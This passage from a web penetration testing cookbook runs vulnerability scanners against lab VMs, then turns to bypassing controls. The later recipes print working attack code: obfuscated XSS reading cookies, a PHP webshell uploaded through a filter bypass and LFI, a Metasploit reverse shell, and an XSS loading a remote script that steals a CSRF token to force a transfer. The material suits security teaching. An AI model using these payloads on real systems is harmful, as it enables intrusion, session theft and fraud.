5. Keep tools and their modules updated so the results are consistent with the latest vulnerability disclosures and attack techniques.

6. Check the scanner's parameters and scope before launching the scan to ensure no out-of-scope tests are performed.

7. Keep comprehensive logs of the scanning process. Most tools have an option to save logs of their activity and issue a report of the findings; always use these features and store the logs in a secure way.

8. Do not leave the scanner unattended.  It is not necessary to keep staring at the screen while the scanner runs, but we need to be aware and constantly check how it is doing to be ready to stop it at the first sign of it causing trouble on the server or the network.

9. Do not rely on one single tool. We all have our favorite tools, but we need to keep in mind that there is no one tool that can cover all of the possible alternatives involved in a penetration test, so use alternative tools to minimize the rates of false positives and false negatives.

How it works...

In this recipe, we showed some key aspects to take into account in order to avoid damage to the information and disruption to services when executing automated scanning against our target application.

The main reason for requiring special measures is that web application vulnerability scanners, in their default configurations, tend to crawl the entire site and use the URLs and parameters obtained from this crawling to send further payloads and probes. In applications that don't properly filter the data they receive, these probes can end up stored in the database or executed by the server, and this could cause integrity problems, permanently alter or damage existing information, or disrupt services.

To prevent this damage, we recommended a series of actions focused on preparing the testing environment, knowing what the tools are doing and keeping them updated, carefully selecting what is to be scanned, and keeping extensive record of all actions.

Finding vulnerabilities with Wapiti

Wapiti is another terminal-based web vulnerability scanner, which sends GET and POST requests to target sites looking for the following vulnerabilities (http://wapiti.sourceforge.net/):

- File disclosure

- Database injection

- Cross-Site Scripting (XSS)

- Command execution detection

- CRLF injection

- XML External Entity (XXE) injection

- Use of known, potentially dangerous files

- Weak .htaccess configurations that can be bypassed

- Presence of backup files that give sensitive information (source code disclosure)

In this recipe, we will use Wapiti to discover vulnerabilities in one of our test applications and generate a report of the scan.

How to do it...

Wapiti is a command-line tool; open a Terminal in Kali Linux and be sure you are running the vulnerable VM before starting:

1. In the Terminal, execute wapiti http://192.168.56.11/peruggia/ -o wapiti_result -f html -m "-blindsql" to scan the Peruggia application in our vulnerable VM, save the output in HTML format inside the wapiti_result directory, and skip the blind SQL injection tests.

2. Wait for the scan to finish and open the report's directory and then the index.html file; then, you will see something like this:

Here, we can see that Wapiti has found 12 XSS and five file-handling vulnerabilities.

3. Now, click on Cross Site Scripting to see the details of the findings.

4. Select a vulnerability and click on HTTP Request. We will take the second one and select and copy the URL part of the request:

5. Now, we paste that URL in the browser and add the server portion (http://192.168.56.11/peruggia/index.php?action=comment&pic_id=%3E%3C%2F%3E%3Cscript%3Ealert%28%27wp6dpkajm%27%29%3C/script%3E); the result should be as shown:

And we do indeed have an XSS vulnerability.

How it works...

We skipped the blind SQL injection test in this recipe (-m "-blindsql"), as we already know this application is vulnerable. When it reaches the point of calculating a time-based injection, it provokes a timeout error that makes Wapiti close before the scan is finished, because Wapiti tests multiple times by injecting the sleep() command until the server passes the timeout threshold.

Also, we have selected the HTML format for output (-f html) and wapiti_result as our report's destination directory; we can also have other formats, such as JSON, OpenVas, TXT, or XML.

Other interesting options in Wapiti are:

- -x <URL>: Exclude the specified URL from the scan; particularly useful for logout and password change URLs.

- -i <file>: Resumes a previously saved scan from an XML file. The filename is optional, as Wapiti takes the file from its scans folder if omitted.

- -a <login%password>: Uses specified credentials to authenticate to the application.

- --auth-method <method>: Defines the authentication method for the -a option; it can be basic, digest, kerberos, or ntlm.

- -s <URL>: Defines a URL to start the scan with.

- -p <proxy_url>: Uses an HTTP or HTTPS proxy.

Using OWASP ZAP to scan for vulnerabilities

OWASP ZAP is a tool that we have already used ing this book for various tasks, and among its many features, it includes an automated vulnerability scanner. Its use and report generation will be covered in this recipe.

Getting ready

Before we perform a successful vulnerability scan in OWASP ZAP, we need to crawl the site:

1. Open OWASP ZAP and configure the web browser to use it as a proxy

2. Navigate to http://192.168.56.11/peruggia/

3. Follow the instructions from Using ZAP's spider in Chapter 3, Using Proxies, Crawlers, and Spiders

How to do it...

Once you have browsed through the application or run ZAP's spider against it, let's start the scan:

1. Go to OWASP ZAP's Sites panel and right-click on the peruggia folder.

2. From the menu, navigate to Attack | Active Scan, as shown in the following screenshot:

3. A new window will pop up. At this point, we know what technologies our application and server use; so, go to the Technology tab and check only MySQL, PHP, Linux, and Apache:

Here, we can configure our scan in terms of Scope (where to start the scan, on what context, and so on), Input Vectors (select if you want to test values in GET and POST requests, headers, cookies, and other options), Custom Vectors (add specific characters or words from the original request as attack vectors), Technology (what technology-specific tests to perform), and Policy (select configuration parameters for specific tests).

4. Click on Start Scan.

5. The Active Scan tab will appear on the bottom panel and all the requests made during the scan will appear there.

6. When the scan is finished, we can check the results in the Alerts tab, as the following screenshot shows:

If we select an alert, we can see the request made and the response obtained from the server. This allows us to analyze the attack and define whether it is a true vulnerability or a false positive. We can also use this information to fuzz, repeat the request in the browser, or to dig deeper into exploitation.

7. To generate an HTML report, as with the previous tools, go to Report in the main menu and then select Generate HTML Report.

8. A new dialog will ask for the filename and location. Set, for example, zapresult.html and when finished, open the file:

How it works...

OWASP ZAP has the ability to perform active and passive vulnerability scans; passive scans are unintrusive tests that OWASP ZAP makes while we browse, send data, and click links. Active tests involve the use of various attack strings against every form variable or request value in order to detect if the servers respond with what we can call a vulnerable behavior.

OWASP ZAP has test strings for a wide variety of technologies; it is useful first to identify the technologies that our target uses, in order to optimize our scan and diminish the probability of being detected or causing a drop in the service.

Another interesting feature of this tool is that we can analyze the request that results in the detection of a vulnerability and its corresponding response in the same window, and at the moment it is detected. This allows us to determine rapidly whether it is a real vulnerability or a false positive and whether to develop our proof of concept (PoC) or start the exploitation.

There's more...

We've also used Burp Suite throughout this book. Kali Linux includes only the free version, which doesn't have the active and passive scanning features. It's absolutely recommended to acquire a professional license for Burp Suite, as it has useful features and improvements over the free version such as these.

- Passive vulnerability scanning happens in the background as we browse a web page with Burp Suite configured as our browser's proxy. Burp will analyze all requests and responses while looking for patterns corresponding to known vulnerabilities.

- In active scanning, Burp Suite will send specific requests to the server and check the responses to see if they correspond to some vulnerable pattern or not. These requests are specially crafted to trigger special behaviors when an application is vulnerable.

Scanning with Skipfish

Skipfish (https://code.google.com/archive/p/skipfish/) was created by Google and released to the public in 2010; it is described by its creators as an active web application security reconnaissance tool, is included by default in Kali Linux, and it does more than pure reconnaissance. It is a complete vulnerability scanner. Some of its highlights are:

- High speed: It can reach more than 400 requests per second and claims to be able to reach more than 2000 in high speed LAN

- Its command-line options are straightforward and easy to use

- It can detect a wide range of issues, from directory listing and other information disclosure vulnerabilities to different types of SQL and XML injection

In this recipe, we will look at a simple example of how to use Skipfish and check its results.

How to do it...

Skipfish, as installed in Kali Linux, is ready to use. We will scan Peruggia with it:

1. Open a Terminal and execute skipfish -o skipfish_result -I peruggia http://192.168.56.11/peruggia/.

2. A message with some usage recommendations will appear; press Enter or wait 60 seconds for the scan to start.

3. The scan will start and scan statistics will show on the screen. Ctrl + C can be used to stop it at any time. The Terminal will look like the following while scanning:

4. When the scan finishes, open the report. In our case, it will be in skipfish_result/index.html, relative to the directory we ran Skipfish from.

5. In the Issue type overview - click to expand: section, we can click on the issues' names and see the exact URL and payload of each occurrence, shown as follows:

How it works...

Skipfish will first build a site map by crawling it and optionally using a dictionary for directory and filenames. This map is then processed through multiple security checks.

In this example, we used it to scan Peruggia in our vulnerable VM. To prevent it scanning the whole server, we used the -I peruggia option, which scans only those URLs matching (containing) the specified text. We also used the -o option to tell Skipfish where to save the reports; this directory must not exist at the moment the scan is run.

The main drawback of Skipfish is that it hasn't been updated since 2012, according to its Google Code page, so newer technologies and attack vectors may not be the ideal target for it. It remains a very useful tool, though.

Finding vulnerabilities in WordPress with WPScan

WordPress is one of the most used Content Management Systems (CMS), if not the most used, in the world. A CMS is an application - usually a web application - that allows users to  create fully functional websites easily with no or little programming knowledge. WPScan is a vulnerability scanner specialized in detecting vulnerabilities in WordPress sites.

In this recipe, we will use WPScan to identify vulnerable components on a WordPress site installed in the OWASP BWA virtual machine.

How to do it...

WPScan is a command-line tool; open a Terminal to start using it:

1. Run WPScan against our target with the wpscan http://192.168.56.11/wordpress/ command; the URL is the location of the WordPress site we want to scan.

2. If this is the first time you are running WPScan, it will ask to update the database, which requires internet connection. In our laboratory setup, the Kali Linux VM doesn't have internet connection, so it is a good idea first to change its network setup, update the tools we are using, and connect it back to the laboratory after that's finished. To update, you just need to answer Y and press Enter when asked. The following screenshot shows the expected output:

3. Once the update is finished, WPScan will continue scanning the target site. It will be displaying its findings in the Terminal; for example, in the following screenshot we see that it detected the web server and WordPress versions, and several vulnerabilities exist for that specific version:

4. With information about the existent vulnerabilities, we can follow the references and search for published exploits; for example, if we search for CVE-2007-5106, which is an XSS vulnerability in the user registration form, we will find that there is an exploit published in Security Focus: https://www.securityfocus.com/bid/25769/exploit.

5. Look for other exploits and attempt to exploit the vulnerabilities identified by WPScan.

How it works...

WordPress allows users that are not experienced in developing web applications to create their own sites by incorporating plugins that may be created by other users and are not subject to the same quality assurance and testing that the main CMS is; this means that when one of those plugins or modules has a serious security flaw, thousands of users may have installed vulnerable code in their sites and are exposed to attacks that can compromise their whole servers.

In this recipe, we used WPScan to identify vulnerabilities in an old WordPress installation. We started by updating the tool's database; this was done automatically while being connected to the internet. Having finished the update, the scan continued by identifying the version of WordPress installed, users, and plugins used by the site; with this information, WPScan searches in its database for known vulnerabilities in any of the active components and displays the findings in the Terminal. When the scan finished, we looked for information and exploits for the issues identified. The further exploitation of such vulnerabilities is left to the reader.

Finding vulnerabilities in Joomla with JoomScan

Another CMS widely used around the world is Joomla. As with WordPress, Joomla is based on PHP and its aim is to help users with little or no technical knowledge create websites, although it may not be as user-friendly as WordPress and is more suited for e-commerce sites rather than for blogs and news sites.

Kali Linux also includes a vulnerability scanner specialized in finding vulnerabilities in Joomla installations, JoomScan. In this recipe, we will use it to analyze the Joomla site installed in our vulnerable VM, vm_1.

How to do it...

As with most of the tools in Kali Linux, JoomScan is a command-line utility, so we need to open a Terminal to run it:

1. First, run joomscan -h to see how is it used and its options, as shown in the following screenshot:

2. Now we know that we need to use the -u option, followed by the URL we want to scan, we can also modify other parameters in the requests, such as cookies and user agents. We will run the simplest command: joomscan -u http://192.168.56.11/joomla/.

3. JoomScan will start scanning and displaying the results. As we can see in the following screenshot, those results include the version of Joomla that is affected, the type of vulnerability, the CVE number, and something that can prove to be very useful for a penetration tester, the Exploit-DB reference, if there is a public exploit available:

4. When the scan is finished, JoomScan will show the path where the scan report is stored. This path is relative to JoomScan's installation path; in our case, the report is saved in /usr/share/joomscan/reports/192.168.56.11/:

5. We can open the given directory and open the report, which is in HTML format, as can be seen in the next picture:

How it works...

In this recipe, we used JoomScan to identify vulnerabilities in a vulnerable installation. This tool identifies the Joomla version and the plugins it has enabled, and contrasts that information with its database of known vulnerabilities and exploits. The results of this process are displayed in the Terminal and also saved in a report in HTML format. The location of this report is given by JoomScan at the end of the scan.

Scanning Drupal with CMSmap

Another popular CMS is Drupal, which is also open source and based on PHP as with the previous ones. Although not as widespread, it holds a considerable share of the market with more than 1 million sites using it according to its official site (https://www.drupal.org/project/usage/drupal).

In this recipe, we will install CMSmap, a vulnerability scanner for Drupal, WordPress, and Joomla, and use it to identify vulnerabilities in the Drupal version installed in bee-box, one of the vulnerable virtual machines in our laboratory. After finding a relevant attack vector, we will exploit it and gain command execution on the server.

Getting ready

CMSmap is not installed in Kali Linux, nor included in its official software repository; however, we can easily get it from its GitHub repository. Open a Terminal and run git clone https://github.com/Dionach/CMSmap.git; this will download the latest source code to the CMSmap directory. As it is made in Python, there is no need to compile the code, as it is ready to run. To see usage examples and available options, enter the CMSmap directory and run python cmsmap.py command. This process is shown in the following screenshot:

How to do it...

Once we have CMSmap ready to run, start bee-box. In this example, it will have the IP address 192.168.56.12.

1. Browse to http://192.168.56.12/drupal/ to verify that there is a running version of Drupal. The result should be as shown:

2. Now, launch the scanner against the site. Open a Terminal, go to the directory where CMSmap was downloaded, and run the python cmsmap.py -t http://192.168.56.12/drupal command. The following screenshot displays how the result should look:

We can see some vulnerabilities ranked high (the red [H]). One of them is SA-CORE-2014-005; a quick Google search will tell us that it is an SQL injection and this vulnerability is also nicknamed Drupageddon (the same name as our target site, coincidentally).

3. Now, let's see if there's an easy way to exploit this well-known flaw. Open Metasploit's console (msfconsole) and search for drupageddon; you should find at least one exploit, shown as follows:

4. Use the multi/http/drupal_drupageddon module and set the options according to the scenario, using a generic reverse shell. The next screenshot shows the final setup:

5. Run the exploit and verify that we have command execution, shown as follows:

How it works...

In this recipe, we first downloaded CMSmap from its GitHub source code repository using the git command-line client with the clone command, which makes a local copy of the specified repository. Once CMSmap was installed, we checked it was ready to execute and saw the usage options, then we ran it against our target.

In the results, we saw a vulnerability rated as high impact by the scanner and looked online for information about it, finding that it was an SQL injection with several publicly available exploits.

This vulnerability was disclosed in Drupal's security advisory SA-CORE-2014-005 (https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql). According to that, it is an SQL injection vulnerability that can be used to get privilege escalation, PHP execution, and, as we saw in our example, command execution on the affected host.

We chose to look in Metasploit for an existing exploit. The exploit we used has two ways of achieving the remote shell: in the first one, it uses the SQLi to upload malicious content to Drupal's cache and trigger that cache entry to execute the payload. This was the option used by our exploit as we didn't change the TARGET parameter (from 0 to 1). In the second approach, it will create an administrator user in Drupal and use that user to upload the PHP code for the server to execute.

Lastly, we got a limited shell on the server with the ability to execute noninteractive commands and retrieve information.

Bypassing Basic Security Controls

In this chapter, we will cover the following recipes:

- Basic input validation bypass in Cross-Site Scripting attacks

- Exploiting Cross-Site Scripting using obfuscated code

- Bypassing file upload restrictions

- Avoiding CORS restrictions in web services

- Using Cross-Site Scripting to bypass CSRF protection and CORS restrictions

- Exploiting HTTP parameter pollution

- Exploiting vulnerabilities through HTTP headers

Introduction

So far, in this book, we have identified and exploited vulnerabilities in conditions where they could be considered low hanging fruits, that is, we knew the vulnerabilities existed, and in their exploitation, we didn't face any prevention mechanisms or had to avoid being blocked by a web application firewall or similar.

The most common scenario in a real-world penetration test is that developers have made an effort to build a robust and secure application, and vulnerabilities may not be straightforward to find and may be completely or partially addressed so they are either not present in the application, or are at least hard to find and exploit. For this scenario, we need to have in our arsenal tools that allow us to discover ways to overcome these complications and, be able to identify and exploit flaws that the developers thought they had prevented, but did to in a non-optimum manner.

In this chapter, we will discuss several mechanisms to bypass protections and security controls that do not mitigate vulnerabilities but attempt to hide them or complicate their exploitation, which is not ideal way of solving a security issue.

Basic input validation bypass in Cross-Site Scripting attacks

One of the most common ways in which developers perform input validation is by blacklisting certain characters of words in information provided by users. The main drawback of this blacklisting approach is that elements that may be used in an attack are often missed because new vectors are found every day.

In this recipe, we will illustrate some methods for bypassing a weak implementation of a blacklisting validation.

How to do it...

We will start with DVWA in our vulnerable VM and set the security level to medium. Also, set Burp Suite as proxy for the browser:

1. First, let's take a look at how the vulnerable page behaves at this security level. As shown in the following screenshot, when attempting to inject script code, the script tags are removed from the output:

2. Send that request to repeater and issue it again. As it can be seen in the next screenshot, the opening script tag is removed:

3. There are multiple ways in which we can try to overcome this obstacle. A very common mistake made when implementing this type of protection is to make case-sensitive comparisons when validating and sanitizing inputs. Send the request again, but this time change the capitalization of the word script, and use sCriPt instead:

4. According to the output in Repeater, and as shown in the following screenshot, that change is sufficient to exploit a Cross-Site Scripting (XSS) vulnerability:

How it works...

In this recipe, we demonstrated a very simple way to bypass a poorly implemented security control, as most programming languages are case sensitive when comparing strings. A simple blacklist is not enough protection against injection attacks. Unfortunately, it is not uncommon for a penetration tester to see these kinds of implementations in real-world applications.

There's more...

There are so many ways to use capitalization, encoding, and many different HTML tags and events to trigger XSS vulnerabilities that it is almost impossible to create a comprehensive list of forbidden words or characters. A few other alternatives we had in this exercise are as follows:

- Use a different HTML tag, such as &lt;img>, &lt;video>, and &lt;div>, and inject the code in its src parameter or its event handlers, such as onload, onerror, and onmouseover.

- Nest multiple script tags, for example, &lt;scr&lt;script>ipt>. So, if the &lt;script> tag is deleted, another tag is formed as a result of its deletion.

- Try different encoding on the whole payload or certain parts of it; for example, we could have URL-encoded &lt;script> to %3c%73%63%72%69%70%74%3e.

A more comprehensive list of validation and filtering bypass can be found at https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet.

Exploiting Cross-Site Scripting using obfuscated code

In the preceding recipe, we faced a filtering mechanism that removed the opening script tag. As &lt;script> is not the only tag that may be used in an XSS attack and JavaScript code is more consistent than HTML in terms of capitalization and structure, some filters try to restrict the use of words and characters belonging to JavaScript code, such as alert, cookie, and document.

In this recipe, we will explore an alternative, a somewhat extreme one maybe, of code obfuscation using a so-called esoteric language called JSFuck (http://JSFuck.com).

How to do it...

For this recipe, we will use the prototyping features provided by the Magical Code Injection Rainbow, an application included in our OWASP BWA vulnerable virtual machine:

1. First, go to the application and select XSSmh from the menu to go to the XSS sandbox. Here, we can set up a field vulnerable to XSS with custom types of sanitization.

2. In our case, we will use the last Sanitization Level: Case-Insesitively and Repetitively Remove Blacklisted Items, matching Keywords.

3. In Sanitization Parameters, we will need to enter the blacklisted words and characters—add alert,document,cookie,href,location,and src. This will greatly limit the range of action of a possible attacker exploiting the application.

4. The Input Sanitization section should look like this:

5. Now, test a common injection that displays the cookie in an alert message, as follows:

As you will see, no alert is shown. This is because of the sanitization options we configured.

6. In order to bypass this protection, we will need to find a way to obfuscate the code so that it is approved by the validation mechanism and still recognized and executed by the browser. Here is where JSFuck comes into play. On your base machine, navigate to http://jsfuck.com. The site describes the language and how it goes about generating JavaScript code with only six different characters, namely [, ], (, ), +, and !.

7. You will also find that this site has a form to convert normal JavaScript to JSFuck representation; try converting alert(document.cookie);, which is the payload we are trying to get executed. As can be seen in the following screenshot, that simple string generates a code of almost 13,000 characters, which is too much to send in a GET request. We need to find a way to reduce that amount:

8. What we can do is to not obfuscate the whole payload, but only the parts that are necessary to bypass the sanitization. Make sure that the Eval Source option is not set, and obfuscate the following strings:

- ert

- d

- e

9. Now, we will integrate the obfuscated code into a full payload. As the JSFuck output is interpreted by the JavaScript engine as text, we will need to use the eval function to execute it. The final payload would be as follows:

&lt;script>eval("al"+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+"('XSS '+"+([][[]]+[])[!+[]+!+[]]+"ocument.cooki"+(!![]+[])[!+[]+!+[]+!+[]]+")");&lt;/script>

10. Insert the payload in the injection string and click on Inject. The code should be executed as follows:

How it works...

By obfuscating the payload, we are able to bypass security controls based in the recognition of words and characters. We chose to use the language JSFuck to obfuscate the code as it is in fact JavaScript.

JSFuck obfuscates the code by manipulating Boolean values and predefined constants to form printable characters, for example, to get the character a:

1. a is the second letter of false and it also can be represented as the second element of an array: false[1].

2. That can also be represented as (false+[])[1].

3. Also, false, as a Boolean value, is the negation of an empty array ![]. So, the above expression could also be (![]+[])[1].

4. The number 1 can also be +true, which leaves (![]+[])[+true].

5. Finally, we all know true is the opposite of false, then !![], and our final string is (![]+[])[+!![]].

We used the obfuscation only over a few letters of each blacklisted word, so we did not make a payload that is too big, but we were also able to bypass it. As this obfuscation generates a string, we need to use eval to instruct the interpreter to treat that string as a piece of executable code.

Bypassing file upload restrictions

In previous chapters, we have seen how to avoid some restrictions in file uploads. In this recipe, we will face a more complete, although still insufficient, validation and chain another vulnerability in order to, first, upload a webshell into the server, and second, move it into a directory where we can execute it from.

How to do it...

For this recipe, we need Mutillidae II in our vulnerable VM to be at security level, use the Toggle Security option in the menu to set it, and use Burp Suite as proxy:

1. In Mutillidae II's menu, go to Others | Unrestricted File Upload | File Upload.

2. The first test will be to attempt uploading a PHP webshell. You can use the ones we used in previous chapters or make a new one. As follows, the upload will fail and we will receive a detailed description of why it failed:

From the preceding response, we can infer that the files are uploaded to /tmp in the server, first using a randomly generated name, then file extension and type are checked, and if they are allowed, the file is renamed to its original name. So, in order to upload and execute a PHP file (a webshell) in this server, we need to change its extension and the Content-Type header in the request.

3. Let's first try and upload a script that will tell us what the working directory (or document root) of the web server is, so that we know where to copy our webshell to once it is uploaded. Create a file sf-info.php containing the following code:

&lt;?
system('pwd');
system('ls');
?>

4. Upload it by intercepting the upload request and changing the extension to .jpg in the filename parameter and the Content-Type to image/jpeg, as follows:

5. Now, go to BurpSuite's Proxy History and send any GET request to Mutillidae to repeater. We will use this to execute our recently uploaded file by exploiting a Local File Inclusion vulnerability.

6. In Repeater, replace the value of the page parameter in the URL by ../../../../tmp/sf-info.jpg and send the request. The result, as displayed in the following screenshot, will tell us the working directory for the web server and the content of such a directory:

7. Now, let's create the webshell code and put the following code in a file named webshell.php:

&lt;?
system($_GET['cmd']);
echo '&lt;p>Type a command: &lt;form method="GET">&lt;input type="text" name="cmd">&lt;/form>&lt;/p>';
?>

8. Upload the file, changing its extension and type as follows:

The question now is how to execute commands through the webshell. We cannot call it directly, as it is stored in /tmp and that is not directly accessible from the browser; we may be able to use the file inclusion vulnerability, but, as the webshell's code will be integrated with that of the including script (index.php), we depend on this script not doing any filtering or modification to the parameters provided. To work around that difficulties, we will upload another file to the server that renames the webshell to .php and moves it to the web root.

9. Send to repeater the request where we uploaded sf-info.php.

10. Change the filename to rename.jpg and adjust the Content-Type.

11. Replace the file's content with the following content:

&lt;?
system('cp /tmp/webshell.jpg /owaspbwa/mutillidae-git/webshell.php');
system('ls');
?>

12. The following screenshot is how it should look:

13. As we did with sf-info.jpg, execute rename.jpg by exploiting LFI, as demonstrated in the following screenshot:

14. Now, our webshell should be in the application's root directory. Navigate to http://192.168.56.11/mutillidae/webshell.php. The following screenshot shows system commands being executed through it:

How it works...

In this recipe, we identified a way to bypass restrictions on a file upload page in order to upload malicious code to the server. However, due to such restrictions, the uploaded files are not directly executable by the attacker, as they must be uploaded as images and they will be treated by the browser and server as such.

We used a Local File Inclusion vulnerability to execute some of the uploaded files. This works as a bypass on the file types restriction, but doesn't allow for a more complex functionality, such as webshell. First, we executed commands to get to know the internal server setup and discover the directories where it had the executable code stored.

Once we knew about the internal filesystem, we uploaded our webshell and added a second script to copy it to the web root directory so that we could call it directly from the browser.

Avoiding CORS restrictions in web services

Cross-Origin Resource Sharing (CORS) is a set of policies configured in the server side that tells the browser whether the server allows requests generated with script code at external sites (cross-origin requests), and from which sites, or whether it only accepts requests generated in pages hosted by itself (same origin). A correctly configured CORS policy can help in the prevention of Cross Site Request Forgery attacks, and although it is not enough, it can stop some vectors.

In this recipe, we will configure a web service that does not allow cross-origin requests and create a page that is able to send a forged request despite this request.

Getting ready

For this recipe, we will use the Damn Vulnerable Web Services. It can be downloaded from its GitHub address at https://github.com/snoopysecurity/dvws. Download the latest version and copy it to the OWASP BWA virtual machine (or download it straight to it); we will put the code in /var/www/dvwebservices/.

This code is a collection of vulnerable web services made with the purpose of security testing; we will modify one of them to make it less vulnerable. Open the /var/www/dvwebservices/vulnerabilities/cors/server.php file with a text editor; it may be nano, included by default in the VM: nano /var/www/dvwebservices/vulnerabilities/cors/server.php

Look for all the instances where the Access-Control-Allow-Origin header is set and comment each of those lines, as shown in the next screenshot:

We also need to add a couple lines of code for the correct processing of the request parameters; the final code should be as follows:

&lt;?php
$dictionary = array('secretword:one' => 'Kag8lzk0nM', 'secretword:two' => 'U6pIy6w0yX', 'secretword:three' => '9c0v73UWkj');
if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD']) && $_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD'] == 'POST') {
//header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: X-Requested-With, content-type, access-control-allow-origin, access-control-allow-methods, access-control-allow-headers');
}
exit;
}

$obj = (object)$_POST;
if(!isset($_POST["searchterm"]))
{
$json = file_get_contents('php://input');
$obj = json_decode($json);
}

if (array_key_exists($obj->searchterm, $dictionary)) {
$response = json_encode(array('result' => 1, 'secretword' => $dictionary[$obj->searchterm]));
}
else {
$response = json_encode(array('result' => 0, 'secretword' => 'Not Found'));
}
header('Content-type: application/json');
if (isset($_SERVER['HTTP_ORIGIN'])) {
//header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
header('Access-Control-Allow-Credentials: true');
} else {
//header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Credentials: true');
}
echo $response;
?>

How to do it...

Once we have the code in the server, we can browse the web service client at http://192.168.56.11/dvwebservices/vulnerabilities/cors/client.php and start our exercise. Remember to have a proxy such as Burp Suite or ZAP recording all the requests:

1. First, let's take a look at the normal operation, by browsing to client.php. It shows a secret word generated by the server.

2. If we go to the proxy, Burp Suite, in this case, we can see that the client makes a POST request to server.php. There are a few things to notice in this request, exemplified in the following screenshot:

- The Content-Type header is application/json, which means that the body is in the JSON format.

- The request's body is not in the standard HTTP request format (param1=value&param2=value), but as a JSON object definition, as specified by the header:

3. Suppose we want to do a CSRF attack over that request. If we want an HTML page to make a request in JSON format, we cannot use an HTML form; we need to use JavaScript. Create an HTML file, CORS-json-request.html in this example, with the following code:

&lt;html>
&lt;script>
function submit_request()
{
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://192.168.56.11/dvwebservices/vulnerabilities/cors/server.php", true);
xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4 && xmlhttp.status == 200 )
{
document.write(xmlhttp.responseText);
}
}
xmlhttp.send('{"searchterm":"secretword:one"}');
}
&lt;/script>
&lt;body>
&lt;input type="button" onclick="submit_request()" value="Submit request">
&lt;/body>
&lt;/html>

4. The preceding code replicates the request made by client.php. Open it in the browser and click on Submit request. Nothing will happen, and the following screenshot shows why:

According to the preceding error, the request is blocked by the browser because the server doesn't specify the allowed origins in its Access-Control-Allow-Origin header. This happened because we are requesting a resource (server.php) from an origin external to the server, a local file in our Kali VM.

5. The easiest way to work around this restriction is to create an HTML page that sends the same parameters in a POST request generated by an HTML form, as browsers do not check the CORS policy when submitting forms. Create another HTML file, CORS-form-request.html, with the following content:

&lt;html>
&lt;body>
&lt;form method="POST" action="http://192.168.56.11/dvwebservices/vulnerabilities/cors/server.php">
Search term: &lt;input type="text" name="searchterm" value="secretword:one">
&lt;input type="submit" value="Submit form">
&lt;/form>
&lt;/body>
&lt;/html>

Browsers do not check CORS policy when submitting HTML forms; however, only GET and POST methods can be used in forms, which leaves out other common methods implemented in web services, such as PUT and DELETE.

6. Load CORS-form-request.html in the browser; it should look as follows:

7. Click on Submit form request and take a look at how the server responds with a JSON object containing the secret word:

8. Check the request in Burp Suite and verify that the Content-Type header is application/x-www-form-urlencoded.

How it works...

Our test application for this recipe was a web page (client.php) that consumed the REST web service (server.php) to retrieve a secret word. We attempted to use a web page in our local system to perform a CSRF attack, but it failed because the server doesn't define a CORS policy and the browser, by default, denies cross-origin requests.

We then made an HTML form to send the same parameters as in the JavaScript request, but in HTML form format, and it succeeded. It's not uncommon for web services to receive information in multiple formats, such as XML, JSON, or HTML forms, because they are intended to interface with many different applications; however, this openness may expose the web services to attacks, especially when vulnerabilities such as CSRF are not properly addressed.

Using Cross-Site Scripting to bypass CSRF protection and CORS restrictions

Oftentimes, when we, as penetration testers, describe XSS to our clients or to developers, we focus on the defacement and phishing/information theft aspects of its impact and overlook the fact that it can be used by the attacker to forge requests using the victim's session to perform any action available to the victim within the application.

In this recipe, we will illustrate this situation using an XSS attack to forge a request that is protected with an anti-CSRF token.

How to do it...

For this recipe, we will use the bWApp application in bee-box, http://192.168.56.13/bWapp in this example, and we will set the security level to Medium.

1. Once logged in to bWApp, go to the bug Cross Site Request Forgery (Transfer Amount).

2. Enter an account number and amount and click on the Transfer button.

3. Let's analyze the following request in Burp Suite. All of the parameters are sent via a GET request; by looking at the token parameter included in the URL, we can infer that there is a CSRF protection in place:

4. We will try and exploit an XSS and use it to trigger the transfer request. For that, we first need to find the place where the token is stored in the client side so that we can retrieve it. Go to the response and look for an input tag with the name token, and take note of the id parameter as well. The following screenshot shows that it is a hidden parameter of the form:

5. Next, we will need to prove that there is an exploitable XSS in place, so go to the bug XSS-Reflected (GET) and try to exploit it. As demonstrated in the following screenshot, it is exploitable:

6. We will use that XSS vulnerability to include a JavaScript file hosted in a server we control, our Kali Linux VM in this exercise. Create a forcetransfer.js file with the following code in it:

xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","http://192.168.56.13/bWAPP/csrf_2.php", true);
xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4 && xmlhttp.status == 200 )
{
var parser = new DOMParser();

var responseDoc = parser.parseFromString (xmlhttp.responseText, "text/html");

var token=responseDoc.getElementById('token').value;
var URL="http://192.168.56.13/bWAPP/csrf_2.php?account=123-45678-90&amount=100&token=" + token + "&action=transfer"

xmlhttp2=new XMLHttpRequest();
xmlhttp2.open("GET",URL, true);
xmlhttp2.send();
}
}
xmlhttp.send();

7. Start the Apache web server in Kali Linux and move the file to the web root (the default is /var/www/html).

8. Now, exploit the XSS setting with the malicious file as source of the script tag. While logged in to bWApp, in a new tab, navigate to http://192.168.56.13/bWAPP/xss_get.php?firstname=test%3Cscript+src%3Dhttp%3A%2F%2F192.168.56.10%2Fforce-transfer.js%3E%3C%2Fscript%3E&lastname=asd&form=submit. The XSS payload is in bold.

9. The script will load and execute successfully. To take a look at what actually happened, look at the Burp Suite's Proxy history shown in the next screenshot:

First, the XSS attack is made, then our malicious file forcetransfer.js is loaded, and this makes the call to csrf_2.php, without parameters. This is where our scripts gets the anti-CSRF token to use it to send a new request to csrf_2.php but this time with all the necessary parameters to make a transfer, and this succeeds.

How it works...

For this recipe, we first identified a request that we wanted to exploit but was adequately protected with a unique token. We also identified that the same domain (or application) is vulnerable to XSS in other pages.

By exploiting the XSS vulnerability, we were able to include script code hosted outside the target domain and use it to first extract the token and then to forge a request that included  legitimate anti-CSRF protection.

